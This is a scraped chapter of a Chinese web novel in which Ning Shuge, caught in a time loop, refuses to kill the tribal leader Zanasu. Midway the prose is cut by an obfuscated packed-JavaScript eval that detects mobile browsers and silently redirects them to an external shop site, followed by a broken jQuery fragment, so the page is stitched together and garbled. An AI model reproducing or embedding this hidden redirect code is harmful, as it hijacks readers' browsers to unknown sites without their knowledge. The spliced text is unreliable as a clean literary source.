文趣网 > 都市小说 > 坠入原始部落后成了部落首领 > 11. 莫比乌斯
    “哪怕到了即将绝迹的地步,不刻意列入保护目录,似乎大部分人类就学不会主动守护,破坏是人类的天性吗?”赞那苏发出质疑。

    宁疏歌垂首轻笑回答:“确实啊,但人类的复杂性,是我们无法想象的,这样的时代我不知道该怎么选择。”

    “跟随你的本心选择,坦白说,迁移教不适合宁小姐。”赞那苏紧盯着屏幕前宁疏歌的青春容颜说着。

    宁疏歌疑惑问:“为什么?”

    “因为宁小姐的笑容很美,很动人,却不是真的开心,你的眼神哀伤又冰冷,我很好奇是不是迁移教做了什么,让你这样?”赞那苏说话间,费力地抬手抚上屏幕前宁疏歌的眼睛。

    他想起许多年前,部落里先知地话:“首领去走正确的路吧,lenuoí会来至您身旁,与您一起守护这里,但首领执意走向他处,那您将孤独千百年……”

    那时他只相信自己的选择,任性冲动地回言:“为赫尔安克里雅,ZAyàHé可以没有lenuoí!而且我相信我的选择是正确的,她会来到我身边的,如果不来,我愿受惩罚。”

    说到最后,他的声音和气势都弱了下去。

    宁疏歌听到这话,想起了自己父母,她摇了摇头,换上笑容,若无其事地说:“我倒是很羡慕赞那苏先生。”

    赞那苏听到宁疏歌的话回过神来,他抬眉意外问道:“这话怎么说,我这个样子,宁小姐羡慕?”

    他笑着,看了看自己干瘪的身躯布满仪器。

    “你很久没出去看看了吧,竟不知现在地球上,不开心是常态吗?哀伤和抑郁是不治之症,所以我眼中才没有真的开心,微笑不过是社交工具罢了,不过你有办法让我开心,你愿意帮忙吗?”

    这番话倒让赞那苏笑了,他回应:“我乐见青春的女士由衷开心。”

    “如今能让我真正开心的就是回家了,所以您愿意成全吗?”宁疏歌说着,抬眼笑着望向四周,她知道赞那苏一直在看着自己。

    赞那苏却挑眉认可地说:“可并不是我不让你回去,而是你的组织已经放弃你了,就在昨天他们将你删除了,所以你现在如身处莫比乌斯环一样,身处这个任务里,一遍又一遍的来见我。”

    “删除?!凭什么?!”听到这出乎意料的话,宁疏歌又慌又惊问着。

    “如今地球上最不缺的就是人类了,所以有那么一批人,立军令状,将身家性命存于这次任务节点,失败就会永远落入被删除的时间段,直至完成任务。”

    “所以?”

    “你想回去,就要完成任务。”

    听到这里,宁疏歌颓废的坐在了草地上,无奈道:“我以为任务失败,顶多是做回流浪者罢了,我也没立军令状啊,怎么会这样?”

    “有些组织,会默认重要的任务,自动签署立军令状吧,以迁移教会的做派,很可能会如此。”

    “无良组织!”宁疏歌倚着树木骂着。

    赞那苏却轻松地开口:“你不是知道如何完成任务吗?去把任务完成不就行了。”

    听到这话,宁疏歌眼神暗了下来,她拧眉严肃地开口:“你知不知道我去做任务意味着什么?”

    “意味着什么?”赞那苏快速接话问道。

    “杀了你。”

    “那就杀了我。”

    ……

    说完,两人都安静了下来。

    赞那苏望着屏幕里沉思不语的她,眼神暗了下去,整个人跌入回忆。

    他在先知离世前,问了下先知可有看到自己的那位lenuoí,先知叹了口气,还是告诉了他。

    想到这里,赞那苏抬了抬眼,满怀愧疚想着:“是我做错了,让你来晚了,我无数次修正错误,都没等到你,这一回,你终于来了,只可惜,我不能好好认识你了。”

    宁疏歌想着,满脸气愤的摇了摇头,拍了拍裤子起身说:“我只听从自己内心的声音,我内心告诉我不该杀死你,我就不会杀,况且他们说删就删的,并没有把我当个人看待,我为何还要替他们伤天害理。”

    她一开口将赞那苏拉回了现实,听着她的话,他是真心欢喜,如今他知道了为何她会是那位lenuoí,因为见了,就知道自己是真的很喜欢很喜欢,越喜欢内心就越会无限可惜。

    “你尊重自己的内心,我也尊重你的内心,所以现在你该离开了。”赞那苏温柔开口道。

    她听着这话疑惑言:“什么意思,赶人走?我本来还等着看看这里晚上的样子呢。”

    见她是真喜欢这里,赞那苏也开心笑道:“不是我赶你走,是你只要不完成任务,每天都会回到小木屋那里,然后再来见我,但是你主动有意识的走这个轮回,会比较舒服,不然因时间压缩倒转,被迫回到过去的话,可能会影响你的记忆。”

    听到这番话,她不舍的离开了密林,却转向走进中控室,来到赞那苏身边。

    赞那苏意外的看着进来的宁疏歌说:“你现在应该离开这里。”

    “我会按照轮回走下去,因为我坚持自己的准则,但我很好奇,你是整个部落指南针一般的存在,应该会很害怕被毁灭,为什么你并不害怕我杀你,甚至还有点迫不及待让我杀了你呢?”

    赞那苏听着质问,笑了起来:“我没想瞒你,不然你也不会察觉,其中缘由我们明天再聊,现在时间也不早了,我可不希望宁小姐忘了我。”

    宁疏歌闻言瞬间觉得,如今的她在哪里都是局外人,在这个早就瞬息万变的世界里,她执拗不愿改变,以至于很多事情早不是当初那样,而她却一无所知。

    她张了张口,妥协道:“可以,希望身为首领的你坦诚相告。”

    “一定。”赞那苏抬眼,满眼真诚的看着宁疏歌,轻点了下头。

    时间压缩流逝,让宁疏歌头疼起来,她感觉时间是个俯瞰他们的神明,像玩橡皮泥一样,玩弄肉体凡胎的自己,将她肆意的拉长搓扁。

    宁疏歌就这样,又见到了那立

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813161|210958||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在黄沙中孤独的小木屋。

    她躺在小木屋中,等待着第三天到来,在被推着往前走的这些时间里,她现在终于可以喘口气了。

    宁疏歌四周仔细打量了下这个小木屋,才发现这个木屋内用胡杨木做了个墙面,简单地将小木屋隔出两个房间,这让她好奇起来,这个看起来古迹一般的小木屋,以前住的会是哪些人。

    还未等她猜测多久,她的头又开始痛了起来,宁疏歌咬牙道:“看来她和赞那苏又要见面了。”

    再次踩上土地,她的心里莫名多了一份安定,看来,人类的安全感始终还是土地。

    宁疏歌看了看天空,突然觉得赫尔安克里雅的阳光与外面的不同,这里的阳光更干净明亮,照的她头发发烫。

    而赫尔安克里雅之外的阳光,总是昏暗,好像始终穿不透什么似的。

    “你从小木屋而来,知道那木屋所在地原本叫什么吗?”不等宁疏歌来找自己,赞那苏似乎早就等着宁疏歌一般的开口问着。

    她闻言喘了口气,回应:“我只觉得它很孤独,广袤无垠的黄沙孤寂,它更孤寂。”

    “很久以前那里叫达里雅布依,是大河沿的意思,证明曾几何时,那里有土地有河流,但如今却只有黄沙一片,而这一切都来源一个人的错误。”

    赞那苏缓缓说着,想起什么似的,眼神痛苦的睁了睁。

    宁疏歌听着这话,有预感到他想说的是什么,只抿嘴不语。

    “宁小姐所见这密林这草木,如今已抵挡不了土地每年微弱的沙漠化,所以土地消失不过是早晚的问题,赫尔安克里雅早已犯下致命的错误,如今亟待改正。”

    宁疏歌抚上身旁的树木,摇头道:“我倒觉得,这个错并不属于某一位,而是属于所有人类。”

    “但是赫尔安克里雅选择了这条路,人类在浩瀚的宇宙洪流中,有资格做出对于自己来说的正确选择,这是每个人的权力,负罪难以改变现状,但选择可以。”赞那苏劝慰道。

    “在我看来,选择迁移教会是愚蠢的,就算他们夺得了你们的成果又如何,没有你们这般信仰的他们,只会复制人类的贪婪行为,就算得到了这片土地,毁灭也只在朝夕,始终是赫尔安克里雅在哪里,哪里才是春天。”宁疏歌惭愧道。

    “宁小姐如此赞赏,是赫尔安克里雅的荣誉,但这是每个人的选择,所以任何时间节点上的选择,足以改变所有,这就是为什么我希望……”

    “我不会杀你,原谅我做不到,这也是我的选择,你应该尊重。”宁疏歌打断了赞那苏的请求。

    哑笑传出,赞那苏不禁想到先知的话:“ZAyàHé与lenuoí的相遇,如星伴月,命运之线不断,情感流动之间,你们始终会看见彼此……”

    她这样执拗,是因为他们的命运吗?

    赞那苏想着,双眼极温柔的望向宁疏歌,他抬了抬手,抚向屏幕上她的面颊,心想:“如果自己的死,能换她逃脱,这就足够了。”